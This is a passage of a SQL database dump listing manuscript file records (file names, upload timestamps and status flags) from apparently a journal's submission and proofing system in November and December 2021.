18:42:31',1,1,0),(28139,11453,'11453-1594-Manuscript-2021-11-07.docx',NULL,'2021-11-06 22:04:52',1,1,0),(28178,9944,'9944-Manuscript-2021-11-08-4qcx-graphic-completed.pdf',NULL,'2021-11-08 11:42:36',1,3,0),(28179,10588,'10588-Manuscript-2021-11-08-yt1i-graphic-completed.pdf',NULL,'2021-11-08 11:43:07',1,3,0),(28200,11476,'11476-0-Manuscript-2021-11-08.docx',NULL,'2021-11-08 14:21:41',1,1,0),(28208,11479,'11479-0-Manuscript-2021-11-08.docx',NULL,'2021-11-08 17:01:56',1,1,0),(28211,11480,'11480-0-Manuscript-2021-11-09.docx',NULL,'2021-11-09 01:40:41',1,1,0),(28212,11480,'11480-1-Manuscript-2021-11-09.tif',NULL,'2021-11-09 01:40:41',1,1,0),(28216,11481,'11481-0-Manuscript-2021-11-09.docx',NULL,'2021-11-09 04:44:41',1,1,0),(28218,11482,'11482-0-Manuscript-2021-11-09.docx',NULL,'2021-11-09 04:52:36',1,1,0),(28220,11394,'11394-876-Manuscript-proof-submission-2021-11-09.docx',NULL,'2021-11-09 05:38:07',1,3,0),(28221,11393,'11393-1406-Manuscript-proof-submission-2021-11-09.docx',NULL,'2021-11-09 05:38:24',1,3,0),(28222,11392,'11392-489-Manuscript-proof-submission-2021-11-09.docx',NULL,'2021-11-09 05:38:37',1,3,0),(28223,11391,'11391-1822-Manuscript-proof-submission-2021-11-09.docx',NULL,'2021-11-09 05:39:01',1,3,0),(28224,11390,'11390-1756-Manuscript-proof-submission-2021-11-09.docx',NULL,'2021-11-09 05:39:13',1,3,0),(28230,11439,'11439-406-Manuscript-proof-submission-2021-11-09.docx',NULL,'2021-11-09 05:58:47',1,3,0),(28233,10781,'10781-1291-Manuscript-proof-submission-2021-11-09.docx',NULL,'2021-11-09 06:42:31',1,3,0),(28234,10635,'10635-1096-Manuscript-proof-submission-2021-11-09.rar',NULL,'2021-11-09 06:42:56',1,3,0),(28250,11246,'11246-2008-Manuscript-proof-submission-2021-11-09.rar',NULL,'2021-11-09 08:18:51',1,3,0),(28251,11487,'11487-0-Manuscript-2021-11-09.docx',NULL,'2021-11-09 08:26:18',1,1,0),(28261,11439,'11439-Manuscript-2021-11-09-n85c-ap-team-revised.docx',NULL,'2021-11-09 09:45:12',1,3,0),(28263,10822,'10822-Manuscript-2021-11-09-n3d7-graphic-completed.pdf',NULL,'2021-11-09 10:11:53',1,3,0),(28270,10635,'10635-Manuscript-2021-11-09-bswh-ap-team-revised.rar',NULL,'2021-11-09 11:17:18',1,3,1),(28271,10781,'10781-Manuscript-2021-11-09-whzq-ap-team-revised.docx',NULL,'2021-11-09 11:17:40',1,3,0),(28272,11238,'11238-906-Manuscript-proof-submission-2021-11-09.rar',NULL,'2021-11-09 11:18:13',1,3,0),(28273,10781,'10781-Manuscript-2021-11-09-xemq-ap-team-revised.docx',NULL,'2021-11-09 11:18:39',1,3,1),(28274,9650,'9650-Manuscript-2021-11-09-qy6e.pdf',NULL,'2021-11-09 11:24:47',1,3,0),(28275,9651,'9651-Manuscript-2021-11-09-augd.pdf',NULL,'2021-11-09 11:26:51',1,3,0),(28276,11390,'11390-Manuscript-2021-11-09-whf6-ap-ame-revised.docx',NULL,'2021-11-09 11:27:09',1,3,0),(28277,11391,'11391-Manuscript-2021-11-09-hyq7-ap-ame-revised.docx',NULL,'2021-11-09 11:27:45',1,3,0),(28278,11392,'11392-Manuscript-2021-11-09-829r-ap-ame-revised.docx',NULL,'2021-11-09 11:28:25',1,3,0),(28279,11393,'11393-Manuscript-2021-11-09-q1fl-ap-ame-revised.docx',NULL,'2021-11-09 11:28:45',1,3,0),(28280,11394,'11394-Manuscript-2021-11-09-hf2m-ap-ame-revised.docx',NULL,'2021-11-09 11:29:01',1,3,0),(28281,9815,'9815-Manuscript-2021-11-09-vjsg.pdf',NULL,'2021-11-09 11:29:29',1,3,0),(28282,8239,'8239-Manuscript-2021-11-09-yg90.pdf',NULL,'2021-11-09 11:33:13',1,3,0),(28283,9944,'9944-Manuscript-2021-11-09-7avr.pdf',NULL,'2021-11-09 11:35:13',1,3,0),(28288,10526,'10526-Manuscript-2021-11-09-eub6.pdf',NULL,'2021-11-09 11:43:43',1,3,0),(28289,9538,'9538-Manuscript-2021-11-09-ivp6.pdf',NULL,'2021-11-09 11:46:23',1,3,0),(28290,11008,'11008-Manuscript-2021-11-09-gr17.pdf',NULL,'2021-11-09 11:48:59',1,3,0),(28291,10588,'10588-Manuscript-2021-11-09-ruoa.pdf',NULL,'2021-11-09 11:55:08',1,3,0),(28301,11390,'11390-Manuscript-2021-11-09-5vd3-ap-team-revised.docx',NULL,'2021-11-09 12:44:53',1,3,0),(28302,11391,'11391-Manuscript-2021-11-09-d2aw-ap-team-revised.docx',NULL,'2021-11-09 12:45:25',1,3,0),(28303,11393,'11393-Manuscript-2021-11-09-9ro7-ap-team-revised.docx',NULL,'2021-11-09 12:45:47',1,3,0),(28304,11394,'11394-Manuscript-2021-11-09-oy9w-ap-team-revised.docx',NULL,'2021-11-09 12:46:12',1,3,0),(28306,11392,'11392-Manuscript-2021-11-09-tx1u-ap-ame-revised.docx',NULL,'2021-11-09 13:04:13',1,3,0),(28307,11492,'11492-0-Manuscript-2021-11-09.doc',NULL,'2021-11-09 14:58:03',1,1,0),(28308,11492,'11492-1-Manuscript-2021-11-09.docx',NULL,'2021-11-09 14:58:03',1,1,0),(28312,11493,'11493-0-Manuscript-2021-11-10.docx',NULL,'2021-11-10 04:49:23',1,1,0),(28316,11439,'11439-Manuscript-2021-11-10-qfjp-graphic-completed.pdf',NULL,'2021-11-10 04:58:45',1,3,0),(28336,11439,'11439-Manuscript-2021-11-10-2yc1.pdf',NULL,'2021-11-10 08:13:21',1,3,0),(28341,11392,'11392-Manuscript-2021-11-10-24rv-ap-team-revised.docx',NULL,'2021-11-10 08:19:57',1,3,0),(28358,11246,'11246-Manuscript-2021-11-10-fdkm-iphsj-21-11246.rar',NULL,'2021-11-10 11:19:02',1,3,1),(28400,11246,'11246-Manuscript-2021-11-11-4t6c-graphic-completed.pdf',NULL,'2021-11-11 04:55:12',1,3,1),(28416,11238,'11238-Manuscript-2021-11-11-zcgy-ipjnn-21-11238.rar',NULL,'2021-11-11 07:50:24',1,3,1),(28418,10635,'10635-Manuscript-2021-11-11-lkq6-graphic-completed.pdf',NULL,'2021-11-11 08:13:45',1,3,0),(28419,10781,'10781-Manuscript-2021-11-11-qjt5-graphic-completed.pdf',NULL,'2021-11-11 08:14:17',1,3,0),(28424,11238,'11238-Manuscript-2021-11-11-vlih-graphic-completed.pdf',NULL,'2021-11-11 09:10:23',1,3,0),(28426,10635,'10635-Manuscript-2021-11-11-buhs.pdf',NULL,'2021-11-11 09:21:05',1,3,0),(28427,10781,'10781-Manuscript-2021-11-11-boln.pdf',NULL,'2021-11-11 09:22:05',1,3,0),(28428,10822,'10822-Manuscript-2021-11-11-ti8g.pdf',NULL,'2021-11-11 09:22:34',1,3,0),(28434,10635,'10635-Manuscript-2021-11-11-zgit-graphic-completed.pdf',NULL,'2021-11-11 09:47:23',1,3,0),(28444,10597,'10597-Manuscript-2021-11-11-a0eb.pdf',NULL,'2021-11-11 10:59:54',1,3,0),(28445,10371,'10371-Manuscript-2021-11-11-evtu.pdf',NULL,'2021-11-11 11:05:00',1,3,0),(28467,10635,'10635-Manuscript-2021-11-12-sgm3.pdf',NULL,'2021-11-12 04:03:50',1,3,0),(28476,11530,'11530-0-Manuscript-2021-11-12.docx',NULL,'2021-11-12 04:48:15',1,1,0),(28492,11073,'11073-1784-Manuscript-proof-submission-2021-11-12.docx',NULL,'2021-11-12 05:50:31',1,3,0),(28493,11073,'11073-70-Manuscript-proof-submission-2021-11-12.docx',NULL,'2021-11-12 05:50:31',1,3,0),(28494,11073,'11073-1365-Manuscript-proof-submission-2021-11-12.docx',NULL,'2021-11-12 05:50:31',1,3,0),(28495,11073,'11073-1743-Manuscript-proof-submission-2021-11-12.docx',NULL,'2021-11-12 05:50:31',1,3,0),(28496,10994,'10994-1723-Manuscript-proof-submission-2021-11-12.docx',NULL,'2021-11-12 05:51:08',1,3,0),(28497,10994,'10994-373-Manuscript-proof-submission-2021-11-12.docx',NULL,'2021-11-12 05:51:08',1,3,0),(28498,10994,'10994-886-Manuscript-proof-submission-2021-11-12.docx',NULL,'2021-11-12 05:51:08',1,3,0),(28499,10813,'10813-1820-Manuscript-proof-submission-2021-11-12.docx',NULL,'2021-11-12 05:51:36',1,3,0),(28500,10813,'10813-202-Manuscript-proof-submission-2021-11-12.docx',NULL,'2021-11-12 05:51:36',1,3,0),(28509,11534,'11534-0-Manuscript-2021-11-12.docx',NULL,'2021-11-12 07:48:48',1,1,0),(28517,11307,'11307-768-Manuscript-proof-submission-2021-11-12.rar',NULL,'2021-11-12 08:50:25',1,3,0),(28518,11541,'11541-0-Manuscript-2021-11-12.docx',NULL,'2021-11-12 09:04:13',1,1,0),(28522,11307,'11307-Manuscript-2021-11-12-5tm9-ap-team-revised.rar',NULL,'2021-11-12 09:34:57',1,3,1),(28527,11133,'11133-1465-Manuscript-proof-submission-2021-11-12.rar',NULL,'2021-11-12 10:07:42',1,3,0),(28528,11133,'11133-Manuscript-2021-11-12-zbm8-ap-team-revised.rar',NULL,'2021-11-12 10:23:15',1,3,1),(28529,11307,'11307-Manuscript-2021-11-12-0xvk-graphic-completed.pdf',NULL,'2021-11-12 11:06:46',1,3,1),(28535,11546,'11546-0-Manuscript-2021-11-13.doc',NULL,'2021-11-12 19:02:17',1,1,0),(28536,11546,'11546-1-Manuscript-2021-11-13.doc',NULL,'2021-11-12 19:02:17',1,1,0),(28537,11546,'11546-2-Manuscript-2021-11-13.pdf',NULL,'2021-11-12 19:02:17',1,1,0),(28538,11546,'11546-3-Manuscript-2021-11-13.pdf',NULL,'2021-11-12 19:02:18',1,1,0),(28539,11547,'11547-0-Manuscript-2021-11-13.docx',NULL,'2021-11-12 19:34:23',1,1,0),(28542,11550,'11550-0-Manuscript-2021-11-13.docx',NULL,'2021-11-13 17:48:37',1,1,0),(28543,11550,'11550-1-Manuscript-2021-11-13.docx',NULL,'2021-11-13 17:48:37',1,1,0),(28544,11550,'11550-2-Manuscript-2021-11-13.docx',NULL,'2021-11-13 17:48:37',1,1,0),(28545,11550,'11550-3-Manuscript-2021-11-13.docx',NULL,'2021-11-13 17:48:37',1,1,0),(28546,11550,'11550-4-Manuscript-2021-11-13.png',NULL,'2021-11-13 17:48:37',1,1,0),(28565,11313,'11313-286-Manuscript-proof-submission-2021-11-15.rar',NULL,'2021-11-15 07:52:38',1,3,0),(28566,10060,'10060-399-Manuscript-proof-submission-2021-11-15.rar',NULL,'2021-11-15 08:12:33',1,3,1),(28572,11453,'11453-605-Manuscript-proof-submission-2021-11-15.rar',NULL,'2021-11-15 08:33:48',1,3,0),(28581,11313,'11313-Manuscript-2021-11-15-8p3d-ipadm-21-11313.zip',NULL,'2021-11-15 09:19:32',1,3,0),(28583,11390,'11390-Manuscript-2021-11-15-4sc2-graphic-completed.pdf',NULL,'2021-11-15 09:53:13',1,3,0),(28584,11391,'11391-Manuscript-2021-11-15-hg3m-graphic-completed.pdf',NULL,'2021-11-15 09:53:42',1,3,0),(28585,11393,'11393-Manuscript-2021-11-15-u10q-graphic-completed.pdf',NULL,'2021-11-15 09:54:13',1,3,0),(28586,11394,'11394-Manuscript-2021-11-15-8ygp-graphic-completed.pdf',NULL,'2021-11-15 09:54:38',1,3,0),(28591,11566,'11566-0-Manuscript-2021-11-15.docx',NULL,'2021-11-15 10:19:15',1,1,0),(28593,11453,'11453-Manuscript-2021-11-15-hlbg-ipadm-21-11453.zip',NULL,'2021-11-15 11:14:28',1,3,1),(28599,11133,'11133-Manuscript-2021-11-15-4vzm-graphic-completed.pdf',NULL,'2021-11-15 11:42:30',1,3,1),(28600,10597,'10597-Manuscript-2021-11-15-e54m.pdf',NULL,'2021-11-15 12:00:33',1,3,0),(28624,10768,'10768-1339-Manuscript-proof-submission-2021-11-16.docx',NULL,'2021-11-16 06:01:04',1,3,0),(28632,11573,'11573-0-Manuscript-2021-11-16.doc',NULL,'2021-11-16 06:52:54',1,1,0),(28633,11238,'11238-Manuscript-2021-11-16-70i9.rar',NULL,'2021-11-16 07:51:50',1,3,1),(28634,11574,'11574-0-Manuscript-2021-11-16.docx',NULL,'2021-11-16 08:10:00',1,1,0),(28659,10060,'10060-Manuscript-2021-11-16-rkpj-ipjnn-21-10060.rar',NULL,'2021-11-16 12:45:28',1,3,1),(28703,11586,'11586-0-Manuscript-2021-11-18.docx',NULL,'2021-11-18 01:07:13',1,1,0),(28704,11049,'11049-997-Manuscript-proof-submission-2021-11-18.docx',NULL,'2021-11-18 03:46:47',1,3,0),(28717,10060,'10060-Manuscript-2021-11-18-cokm-graphic-completed.pdf',NULL,'2021-11-18 05:48:36',1,3,0),(28721,11589,'11589-0-Manuscript-2021-11-18.docx',NULL,'2021-11-18 07:51:25',1,1,0),(28724,10060,'10060-Manuscript-2021-11-18-jvrq.pdf',NULL,'2021-11-18 08:24:44',1,3,0),(28725,11238,'11238-Manuscript-2021-11-18-9j1l.pdf',NULL,'2021-11-18 08:25:19',1,3,0),(28730,11354,'11354-1534-Manuscript-proof-submission-2021-11-18.rar',NULL,'2021-11-18 08:53:00',1,3,0),(28737,11590,'11590-0-Manuscript-2021-11-18.doc',NULL,'2021-11-18 09:32:40',1,1,0),(28738,11311,'11311-742-Manuscript-proof-submission-2021-11-18.rar',NULL,'2021-11-18 09:41:52',1,3,0),(28744,11311,'11311-Manuscript-2021-11-18-znap-iphsj-21-11311.rar',NULL,'2021-11-18 11:36:46',1,3,1),(28745,11354,'11354-Manuscript-2021-11-18-xo1r-iphsj-21-11354.rar',NULL,'2021-11-18 11:37:44',1,3,1),(28748,11394,'11394-Manuscript-2021-11-18-h27x.pdf',NULL,'2021-11-18 11:47:05',1,3,0),(28750,11390,'11390-Manuscript-2021-11-18-39x8.pdf',NULL,'2021-11-18 11:49:47',1,3,1),(28751,11391,'11391-Manuscript-2021-11-18-qb4a.pdf',NULL,'2021-11-18 11:50:12',1,3,0),(28752,11393,'11393-Manuscript-2021-11-18-5bzy.pdf',NULL,'2021-11-18 11:50:35',1,3,0),(28770,11598,'11598-0-Manuscript-2021-11-19.docx',NULL,'2021-11-19 04:44:10',1,1,0),(28772,11599,'11599-0-Manuscript-2021-11-19.zip',NULL,'2021-11-19 06:22:45',1,1,0),(28773,10930,'10930-1621-Manuscript-proof-submission-2021-11-19.docx',NULL,'2021-11-19 06:34:35',1,3,0),(28774,10930,'10930-1139-Manuscript-proof-submission-2021-11-19.docx',NULL,'2021-11-19 06:34:35',1,3,0),(28775,10930,'10930-1014-Manuscript-proof-submission-2021-11-19.docx',NULL,'2021-11-19 06:34:35',1,3,0),(28783,11354,'11354-Manuscript-2021-11-19-d6q2-graphic-completed.pdf',NULL,'2021-11-19 09:04:32',1,3,1),(28784,11311,'11311-Manuscript-2021-11-19-jps0-graphic-completed.pdf',NULL,'2021-11-19 09:04:43',1,3,1),(28787,11394,'11394-Manuscript-2021-11-19-gc6e-ap-ame-revised.pdf',NULL,'2021-11-19 11:43:02',1,3,0),(28788,11392,'11392-Manuscript-2021-11-19-kio3-graphic-completed.pdf',NULL,'2021-11-19 11:45:10',1,3,0),(28791,11392,'11392-Manuscript-2021-11-19-hba4.pdf',NULL,'2021-11-19 12:54:15',1,3,0),(28792,11394,'11394-Manuscript-2021-11-19-s3ja.pdf',NULL,'2021-11-19 12:54:49',1,3,0),(28795,10930,'10930-Manuscript-2021-11-20-kr4v-ipaclr-21-10930.zip',NULL,'2021-11-20 03:35:44',1,3,1),(28799,11610,'11610-0-Manuscript-2021-11-20.docx',NULL,'2021-11-20 06:31:16',1,1,0),(28808,11611,'11611-0-Manuscript-2021-11-20.docx',NULL,'2021-11-20 07:09:29',1,1,0),(28820,11618,'11618-0-Manuscript-2021-11-21.docx',NULL,'2021-11-21 09:33:19',1,1,0),(28821,11619,'11619-0-Manuscript-2021-11-21.docx',NULL,'2021-11-21 16:02:02',1,1,0),(28822,11620,'11620-0-Manuscript-2021-11-22.docx',NULL,'2021-11-22 05:19:39',1,1,0),(28877,11238,'11238-Manuscript-2021-11-23-1ibj-ap-ame-revised.pdf',NULL,'2021-11-23 05:16:06',1,3,0),(28883,11283,'11283-316-Manuscript-proof-submission-2021-11-23.pdf',NULL,'2021-11-23 05:42:05',1,3,0),(28884,11281,'11281-943-Manuscript-proof-submission-2021-11-23.pdf',NULL,'2021-11-23 05:42:53',1,3,0),(28885,11279,'11279-481-Manuscript-proof-submission-2021-11-23.pdf',NULL,'2021-11-23 05:44:52',1,3,0),(28886,11144,'11144-366-Manuscript-proof-submission-2021-11-23.docx',NULL,'2021-11-23 05:46:31',1,3,0),(28914,11482,'11482-1043-Manuscript-proof-submission-2021-11-23.docx',NULL,'2021-11-23 08:03:57',1,3,0),(28927,11238,'11238-Manuscript-2021-11-23-6c52.pdf',NULL,'2021-11-23 09:21:49',1,3,0),(28962,11670,'11670-0-Manuscript-2021-11-24.docx',NULL,'2021-11-24 04:30:54',1,1,0),(28965,11673,'11673-0-Manuscript-2021-11-24.docx',NULL,'2021-11-24 05:29:20',1,1,0),(28971,10930,'10930-Manuscript-2021-11-24-jw57-graphic-completed.pdf',NULL,'2021-11-24 06:14:15',1,3,0),(28986,11684,'11684-0-Manuscript-2021-11-24.docx',NULL,'2021-11-24 10:37:03',1,1,0),(28996,11693,'11693-0-Manuscript-2021-11-24.docx',NULL,'2021-11-24 12:26:39',1,1,0),(29006,11049,'11049-Manuscript-2021-11-25-zqhr-move-pdf-making.docx',NULL,'2021-11-25 04:58:48',1,3,0),(29007,11049,'11049-Manuscript-2021-11-25-5uvb-move-pdf-making.pdf',NULL,'2021-11-25 04:59:09',1,3,0),(29035,11710,'11710-0-Manuscript-2021-11-25.docx',NULL,'2021-11-25 09:32:59',1,1,0),(29089,11739,'11739-0-Manuscript-2021-11-26.docx',NULL,'2021-11-26 07:59:32',1,1,0),(29096,11439,'11439-1529-Manuscript-proof-submission-2021-11-26.pdf',NULL,'2021-11-26 08:44:34',1,3,0),(29102,11234,'11234-72-Manuscript-proof-submission-2021-11-26.zip',NULL,'2021-11-26 10:34:35',1,3,0),(29103,10930,'10930-Manuscript-2021-11-26-08b5.pdf',NULL,'2021-11-26 11:09:29',1,3,1),(29107,11744,'11744-0-Manuscript-2021-11-26.docx',NULL,'2021-11-26 11:39:46',1,1,0),(29112,11234,'11234-Manuscript-2021-11-26-oda6-ipaom-21-11234.rar',NULL,'2021-11-26 11:55:42',1,3,1),(29123,11337,'11337-905-Manuscript-proof-submission-2021-11-27.docx',NULL,'2021-11-27 03:56:54',1,3,0),(29126,10474,'10474-517-Manuscript-proof-submission-2021-11-27.docx',NULL,'2021-11-27 04:06:55',1,3,0),(29127,11337,'11337-Manuscript-2021-11-27-5y8w-move-pdf-making.docx',NULL,'2021-11-27 04:08:44',1,3,0),(29132,11337,'11337-Manuscript-2021-11-27-4d86-rsuite-completed.pdf',NULL,'2021-11-27 04:22:33',1,3,0),(29133,11337,'11337-Manuscript-2021-11-27-b8sx-move-pdf-making.docx',NULL,'2021-11-27 04:23:43',1,3,0),(29134,11270,'11270-1474-Manuscript-proof-submission-2021-11-27.docx',NULL,'2021-11-27 04:27:44',1,3,0),(29136,11085,'11085-1185-Manuscript-proof-submission-2021-11-27.docx',NULL,'2021-11-27 04:32:16',1,3,0),(29137,11085,'11085-1877-Manuscript-proof-submission-2021-11-27.pdf',NULL,'2021-11-27 04:32:17',1,3,0),(29143,11234,'11234-Manuscript-2021-11-27-yzpd-graphic-completed.pdf',NULL,'2021-11-27 05:03:37',1,3,0),(29155,11234,'11234-Manuscript-2021-11-27-7kaf.pdf',NULL,'2021-11-27 06:49:18',1,3,0),(29166,11759,'11759-0-Manuscript-2021-11-28.pdf',NULL,'2021-11-28 13:05:28',1,1,0),(29167,11759,'11759-1-Manuscript-2021-11-28.png',NULL,'2021-11-28 13:05:28',1,1,0),(29168,11759,'11759-2-Manuscript-2021-11-28.png',NULL,'2021-11-28 13:05:28',1,1,0),(29169,11759,'11759-3-Manuscript-2021-11-28.png',NULL,'2021-11-28 13:05:28',1,1,0),(29200,11234,'11234-Manuscript-2021-11-29-zqln-ap-ame-revised.pdf',NULL,'2021-11-29 05:50:35',1,3,0),(29202,11234,'11234-Manuscript-2021-11-29-2npl.pdf',NULL,'2021-11-29 06:44:14',1,3,0),(29232,11786,'11786-0-Manuscript-2021-11-29.docx',NULL,'2021-11-29 09:12:46',1,1,0),(29241,10809,'10809-1256-Manuscript-proof-submission-2021-11-29.docx',NULL,'2021-11-29 10:00:23',1,3,0),(29249,11795,'11795-0-Manuscript-2021-11-29.docx',NULL,'2021-11-29 10:20:01',1,1,0),(29274,11801,'11801-0-Manuscript-2021-11-29.docx',NULL,'2021-11-29 12:13:42',1,1,0),(29281,11804,'11804-0-Manuscript-2021-11-29.docx',NULL,'2021-11-29 12:57:16',1,1,0),(29296,11806,'11806-0-Manuscript-2021-11-29.docx',NULL,'2021-11-29 17:20:08',1,1,0),(29298,11808,'11808-0-Manuscript-2021-11-30.docx',NULL,'2021-11-29 22:16:17',1,1,0),(29299,11808,'11808-1-Manuscript-2021-11-30.pdf',NULL,'2021-11-29 22:16:17',1,1,0),(29300,11808,'11808-2-Manuscript-2021-11-30.docx',NULL,'2021-11-29 22:16:17',1,1,0),(29301,11808,'11808-1030-Manuscript-2021-11-30.docx',NULL,'2021-11-29 22:26:13',1,1,0),(29302,11808,'11808-1667-Manuscript-2021-11-30.docx',NULL,'2021-11-29 22:29:06',1,1,0),(29340,11816,'11816-0-Manuscript-2021-11-30.docx',NULL,'2021-11-30 06:53:33',1,1,0),(29344,11297,'11297-352-Manuscript-proof-submission-2021-11-30.docx',NULL,'2021-11-30 07:38:21',1,3,0),(29345,11530,'11530-1115-Manuscript-proof-submission-2021-11-30.pdf',NULL,'2021-11-30 07:40:17',1,3,0),(29346,11530,'11530-1777-Manuscript-proof-submission-2021-11-30.docx',NULL,'2021-11-30 07:40:17',1,3,0),(29347,11534,'11534-1052-Manuscript-proof-submission-2021-11-30.docx',NULL,'2021-11-30 07:41:14',1,3,0),(29348,11534,'11534-402-Manuscript-proof-submission-2021-11-30.pdf',NULL,'2021-11-30 07:41:14',1,3,0),(29352,11158,'11158-136-Manuscript-proof-submission-2021-11-30.zip',NULL,'2021-11-30 08:12:05',1,3,0),(29361,11232,'11232-1253-Manuscript-proof-submission-2021-11-30.zip',NULL,'2021-11-30 08:33:28',1,3,0),(29366,10925,'10925-1072-Manuscript-proof-submission-2021-11-30.zip',NULL,'2021-11-30 09:00:26',1,3,0),(29367,11450,'11450-322-Manuscript-proof-submission-2021-11-30.zip',NULL,'2021-11-30 09:01:26',1,3,0),(29368,11040,'11040-137-Manuscript-proof-submission-2021-11-30.docx',NULL,'2021-11-30 09:12:38',1,3,0),(29431,11492,'11492-1819-Manuscript-proof-submission-2021-12-01.rar',NULL,'2021-12-01 05:53:30',1,3,0),(29438,11093,'11093-274-Manuscript-2021-12-01.docx',NULL,'2021-12-01 06:40:45',1,1,0),(29439,11093,'11093-1120-Manuscript-2021-12-01.docx',NULL,'2021-12-01 06:40:45',1,1,0),(29458,11795,'11795-1849-Manuscript-proof-submission-2021-12-01.docx',NULL,'2021-12-01 08:57:40',1,3,0),(29459,11801,'11801-1710-Manuscript-proof-submission-2021-12-01.docx',NULL,'2021-12-01 08:59:23',1,3,0),(29460,11804,'11804-1524-Manuscript-proof-submission-2021-12-01.docx',NULL,'2021-12-01 09:02:13',1,3,0),(29471,11846,'11846-0-Manuscript-2021-12-01.docx',NULL,'2021-12-01 10:47:05',1,1,0),(29477,11795,'11795-Manuscript-2021-12-01-7bk2-ipaom-21-11795.docx',NULL,'2021-12-01 11:57:15',1,3,0),(29478,11801,'11801-Manuscript-2021-12-01-4mvx-ipaom-21-11801.docx',NULL,'2021-12-01 11:58:16',1,3,0),(29479,11804,'11804-Manuscript-2021-12-01-ofqx-ipaom-21-11804.docx',NULL,'2021-12-01 11:58:39',1,3,0),(29500,11852,'11852-0-Manuscript-2021-12-02.docx',NULL,'2021-12-01 21:16:20',1,1,0),(29501,11852,'11852-1-Manuscript-2021-12-02.jpg',NULL,'2021-12-01 21:16:20',1,1,0),(29502,11852,'11852-2-Manuscript-2021-12-02.jpg',NULL,'2021-12-01 21:16:20',1,1,0),(29503,11852,'11852-3-Manuscript-2021-12-02.jpg',NULL,'2021-12-01 21:16:21',1,1,0),(29504,11852,'11852-4-Manuscript-2021-12-02.docx',NULL,'2021-12-01 21:16:21',1,1,0),(29546,11451,'11451-918-Manuscript-proof-submission-2021-12-02.rar',NULL,'2021-12-02 09:47:18',1,3,0),(29564,11120,'11120-342-Manuscript-proof-submission-2021-12-02.rar',NULL,'2021-12-02 12:22:30',1,3,0),(29570,11855,'11855-0-Manuscript-2021-12-02.docx',NULL,'2021-12-02 16:18:01',1,1,0),(29583,11816,'11816-118-Manuscript-proof-submission-2021-12-03.docx',NULL,'2021-12-03 05:45:23',1,3,0),(29596,11859,'11859-0-Manuscript-2021-12-03.docx',NULL,'2021-12-03 06:31:31',1,1,0),(29610,11816,'11816-Manuscript-2021-12-03-6jla-ipaom-21-11816.docx',NULL,'2021-12-03 10:00:23',1,3,0),(29619,11092,'11092-1397-Manuscript-proof-submission-2021-12-03.rar',NULL,'2021-12-03 11:53:23',1,3,0),(29625,11870,'11870-0-Manuscript-2021-12-03.pdf',NULL,'2021-12-03 14:51:57',1,1,0),(29631,11872,'11872-0-Manuscript-2021-12-04.docx',NULL,'2021-12-03 18:58:43',1,1,0),(29632,11872,'11872-1-Manuscript-2021-12-04.doc',NULL,'2021-12-03 18:58:43',1,1,0),(29633,11872,'11872-2-Manuscript-2021-12-04.doc',NULL,'2021-12-03 18:58:43',1,1,0),(29649,11878,'11878-0-Manuscript-2021-12-04.docx',NULL,'2021-12-04 10:46:46',1,1,0),(29653,11882,'11882-0-Manuscript-2021-12-04.jpg',NULL,'2021-12-04 17:42:46',1,1,0),(29714,11115,'11115-2002-Manuscript-proof-submission-2021-12-06.rar',NULL,'2021-12-06 12:13:59',1,3,0),(29723,11093,'11093-1842-Manuscript-proof-submission-2021-12-07.zip',NULL,'2021-12-07 04:51:47',1,3,0),(29724,11092,'11092-Manuscript-2021-12-07-h0u6-iphsj-21-11092.rar',NULL,'2021-12-07 05:35:17',1,3,1),(29725,11115,'11115-Manuscript-2021-12-07-swa5-iphsj-21-11115.rar',NULL,'2021-12-07 05:35:55',1,3,1),(29726,11120,'11120-Manuscript-2021-12-07-th1e-iphsj-21-11120.rar',NULL,'2021-12-07 05:36:33',1,3,1),(29727,11451,'11451-Manuscript-2021-12-07-wtvr-iphsj-21-11451.rar',NULL,'2021-12-07 05:37:10',1,3,1),(29728,11492,'11492-Manuscript-2021-12-07-r7co-iphsj-21-11492.rar',NULL,'2021-12-07 05:37:45',1,3,1),(29731,11093,'11093-Manuscript-2021-12-07-0wg9-ipaom-21-11093.rar',NULL,'2021-12-07 06:34:42',1,3,1),(29779,11590,'11590-1977-Manuscript-proof-submission-2021-12-07.docx',NULL,'2021-12-07 10:38:22',1,3,0),(29780,11590,'11590-688-Manuscript-proof-submission-2021-12-07.docx',NULL,'2021-12-07 10:38:22',1,3,0),(29810,11914,'11914-0-Manuscript-2021-12-08.docx',NULL,'2021-12-07 18:46:39',1,1,0),(29811,11808,'11808-1955-Manuscript-2021-12-08.docx',NULL,'2021-12-07 19:32:09',1,2,0),(29812,11808,'11808-205-Manuscript-2021-12-08.docx',NULL,'2021-12-07 19:32:09',1,2,0),(29813,11808,'11808-1981-Manuscript-2021-12-08.docx',NULL,'2021-12-07 19:32:09',1,2,0),(29815,11795,'11795-Manuscript-2021-12-08-po5v-graphic-completed.pdf',NULL,'2021-12-08 04:43:26',1,3,0),(29816,11801,'11801-Manuscript-2021-12-08-m8k3-graphic-completed.pdf',NULL,'2021-12-08 04:43:52',1,3,0),(29817,11804,'11804-Manuscript-2021-12-08-i5c4-graphic-completed.pdf',NULL,'2021-12-08 04:44:24',1,3,0),(29818,11816,'11816-Manuscript-2021-12-08-51rc-graphic-completed.pdf',NULL,'2021-12-08 04:49:56',1,3,0),(29847,11432,'11432-1657-Manuscript-proof-submission-2021-12-08.rar',NULL,'2021-12-08 06:14:45',1,3,0),(29874,9538,'9538-Manuscript-2021-12-08-1q5y-ap-ame-revised.docx',NULL,'2021-12-08 08:59:54',1,3,0),(29875,9538,'9538-Manuscript-2021-12-08-p5q9-ap-ame-revised.docx',NULL,'2021-12-08 09:00:43',1,3,0),(29878,11084,'11084-167-Manuscript-proof-submission-2021-12-08.rar',NULL,'2021-12-08 09:14:12',1,3,0),(29880,11816,'11816-Manuscript-2021-12-08-jcel.pdf',NULL,'2021-12-08 09:18:01',1,3,0),(29881,11795,'11795-Manuscript-2021-12-08-ae68.pdf',NULL,'2021-12-08 09:19:10',1,3,0),(29882,11801,'11801-Manuscript-2021-12-08-f5s4.pdf',NULL,'2021-12-08 09:19:38',1,3,0),(29883,11804,'11804-Manuscript-2021-12-08-ficr.pdf',NULL,'2021-12-08 09:20:06',1,3,0),(29885,11928,'11928-0-Manuscript-2021-12-08.docx',NULL,'2021-12-08 09:38:36',1,1,0),(29906,11092,'11092-Manuscript-2021-12-08-4pus-graphic-completed.pdf',NULL,'2021-12-08 12:27:26',1,3,1),(29907,11492,'11492-Manuscript-2021-12-08-0txq-graphic-completed.pdf',NULL,'2021-12-08 12:29:44',1,3,1),(29908,11451,'11451-Manuscript-2021-12-08-36cy-graphic-completed.pdf',NULL,'2021-12-08 